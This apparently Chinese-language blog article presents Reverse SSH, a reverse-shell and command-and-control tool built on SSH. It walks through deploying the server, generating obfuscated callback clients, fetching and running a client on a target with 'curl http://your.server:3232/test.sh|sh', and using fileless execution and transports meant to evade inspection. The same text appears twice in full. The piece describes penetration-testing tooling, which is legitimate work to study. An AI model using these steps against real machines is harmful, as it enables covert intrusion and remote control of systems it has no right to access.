文章目录Reverse SSH用 SSH 协议管理反向 ShellReverse SSH用 SSH 协议管理反向 ShellReverse SSH 是一个用 Go 语言编写的开源工具它把反向 Shell 的能力嫁接到了 SSH 协议上。项目在 GitHub 上获得了 1,384 个 Star。传统反向 Shell 需要依赖 netcat、bash 或 Python 脚本功能有限交互体验差。Reverse SSH 换了一个思路让反向连接的客户端直接充当 SSH 服务端操作端用标准 SSH 客户端去连。这意味着所有 SSH 生态里的工具都能直接用上。核心能力Reverse SSH 的核心卖点是用 SSH 做反向 Shell。客户端连接到服务端后操作端通过 SSH 跳板-J参数即可接入目标机器获得完整的交互式 Shell。具体支持的功能包括动态端口转发-D、本地端口转发-L、远程端口转发-R和标准 SSH 用法一致内置 SCP 和 SFTP 支持可以直接从目标机器拉取文件完整的 Windows Shell 支持新版用 conpty旧版用 winpty覆盖大部分 Windows 版本多种网络传输协议HTTP、WebSocket、TLS应对深度包检测场景部署方式项目推荐用 Docker 部署镜像里已经包含了 Go 编译环境和 Windows 交叉编译工具链dockerrun-p3232:2222\-eEXTERNAL_ADDRESSyour.server:3232\-eSEED_AUTHORIZED_KEYS$(cat~/.ssh/id_ed25519.pub)\-v./data:/data reversessh/reverse_ssh服务端启动后用 SSH 连入管理控制台sshyour.server-p3232在控制台里执行link命令会自编译一个客户端二进制文件并生成下载链接catcher$link--nametesthttp://your.server:3232/test把客户端丢到目标机器上运行它会自动回连服务端。操作端通过跳板连接目标ssh-Jyour.server:3232 target-machine整个过程用的都是标准 SSH 命令没有额外的学习成本。客户端生成link命令支持大量参数可以在编译时定制客户端行为指定目标操作系统和架构--goos、--goarch选择传输协议--http、--ws、--wss、--tls设置回连地址-s使用 garble 混淆二进制--garble用 UPX 压缩体积--upx生成 Windows DLL 文件--shared-object用于无文件注入客户端还支持 shell 脚本下载方式一条命令搞定部署curlhttp://your.server:3232/test.sh|sh权限管理服务端支持基础的用户权限隔离。通过authorized_controllee_keys文件中的owners字段可以将特定客户端分配给特定用户。管理员可以通过access命令临时共享客户端访问权限。其他特性Reverse SSH 还提供了一些进阶功能Webhook 支持客户端上下线时发送 HTTP 通知方便集成到监控系统。Tun 模式可以创建虚拟网卡接口实现类 VPN 的流量路由支持 UDP、TCP 和 ICMP 协议。无文件执行能力允许客户端从远程 URL 动态下载可执行文件到内存中运行支持 HTTP 和 RSSH 内部协议两种下载方式。Bash 自动补全功能可以通过一条命令安装到.bashrc或.zshrc中在终端里直接 Tab 补全已连接的客户端 ID。适用场景Reverse SSH 面向的是需要管理多台远程机器的安全运维人员和渗透测试人员。它的优势在于复用 SSH 协议的成熟生态不需要引入额外的 C2 框架降低了工具链的复杂度。标准 SSH 客户端天然支持端口转发、文件传输、代理跳板这些能力在 Reverse SSH 中被完整保留。项目仍在活跃维护中Docker 镜像持续更新文档也比较完整。杂度。标准 SSH 客户端天然支持端口转发、文件传输、代理跳板这些能力在 Reverse SSH 中被完整保留。项目仍在活跃维护中Docker 镜像持续更新文档也比较完整。
Reverse SSH:用 SSH 协议管理反向 Shell
发布时间:2026/7/1 4:26:12
文章目录Reverse SSH用 SSH 协议管理反向 ShellReverse SSH用 SSH 协议管理反向 ShellReverse SSH 是一个用 Go 语言编写的开源工具它把反向 Shell 的能力嫁接到了 SSH 协议上。项目在 GitHub 上获得了 1,384 个 Star。传统反向 Shell 需要依赖 netcat、bash 或 Python 脚本功能有限交互体验差。Reverse SSH 换了一个思路让反向连接的客户端直接充当 SSH 服务端操作端用标准 SSH 客户端去连。这意味着所有 SSH 生态里的工具都能直接用上。核心能力Reverse SSH 的核心卖点是用 SSH 做反向 Shell。客户端连接到服务端后操作端通过 SSH 跳板-J参数即可接入目标机器获得完整的交互式 Shell。具体支持的功能包括动态端口转发-D、本地端口转发-L、远程端口转发-R和标准 SSH 用法一致内置 SCP 和 SFTP 支持可以直接从目标机器拉取文件完整的 Windows Shell 支持新版用 conpty旧版用 winpty覆盖大部分 Windows 版本多种网络传输协议HTTP、WebSocket、TLS应对深度包检测场景部署方式项目推荐用 Docker 部署镜像里已经包含了 Go 编译环境和 Windows 交叉编译工具链dockerrun-p3232:2222\-eEXTERNAL_ADDRESSyour.server:3232\-eSEED_AUTHORIZED_KEYS$(cat~/.ssh/id_ed25519.pub)\-v./data:/data reversessh/reverse_ssh服务端启动后用 SSH 连入管理控制台sshyour.server-p3232在控制台里执行link命令会自编译一个客户端二进制文件并生成下载链接catcher$link--nametesthttp://your.server:3232/test把客户端丢到目标机器上运行它会自动回连服务端。操作端通过跳板连接目标ssh-Jyour.server:3232 target-machine整个过程用的都是标准 SSH 命令没有额外的学习成本。客户端生成link命令支持大量参数可以在编译时定制客户端行为指定目标操作系统和架构--goos、--goarch选择传输协议--http、--ws、--wss、--tls设置回连地址-s使用 garble 混淆二进制--garble用 UPX 压缩体积--upx生成 Windows DLL 文件--shared-object用于无文件注入客户端还支持 shell 脚本下载方式一条命令搞定部署curlhttp://your.server:3232/test.sh|sh权限管理服务端支持基础的用户权限隔离。通过authorized_controllee_keys文件中的owners字段可以将特定客户端分配给特定用户。管理员可以通过access命令临时共享客户端访问权限。其他特性Reverse SSH 还提供了一些进阶功能Webhook 支持客户端上下线时发送 HTTP 通知方便集成到监控系统。Tun 模式可以创建虚拟网卡接口实现类 VPN 的流量路由支持 UDP、TCP 和 ICMP 协议。无文件执行能力允许客户端从远程 URL 动态下载可执行文件到内存中运行支持 HTTP 和 RSSH 内部协议两种下载方式。Bash 自动补全功能可以通过一条命令安装到.bashrc或.zshrc中在终端里直接 Tab 补全已连接的客户端 ID。适用场景Reverse SSH 面向的是需要管理多台远程机器的安全运维人员和渗透测试人员。它的优势在于复用 SSH 协议的成熟生态不需要引入额外的 C2 框架降低了工具链的复杂度。标准 SSH 客户端天然支持端口转发、文件传输、代理跳板这些能力在 Reverse SSH 中被完整保留。项目仍在活跃维护中Docker 镜像持续更新文档也比较完整。杂度。标准 SSH 客户端天然支持端口转发、文件传输、代理跳板这些能力在 Reverse SSH 中被完整保留。项目仍在活跃维护中Docker 镜像持续更新文档也比较完整。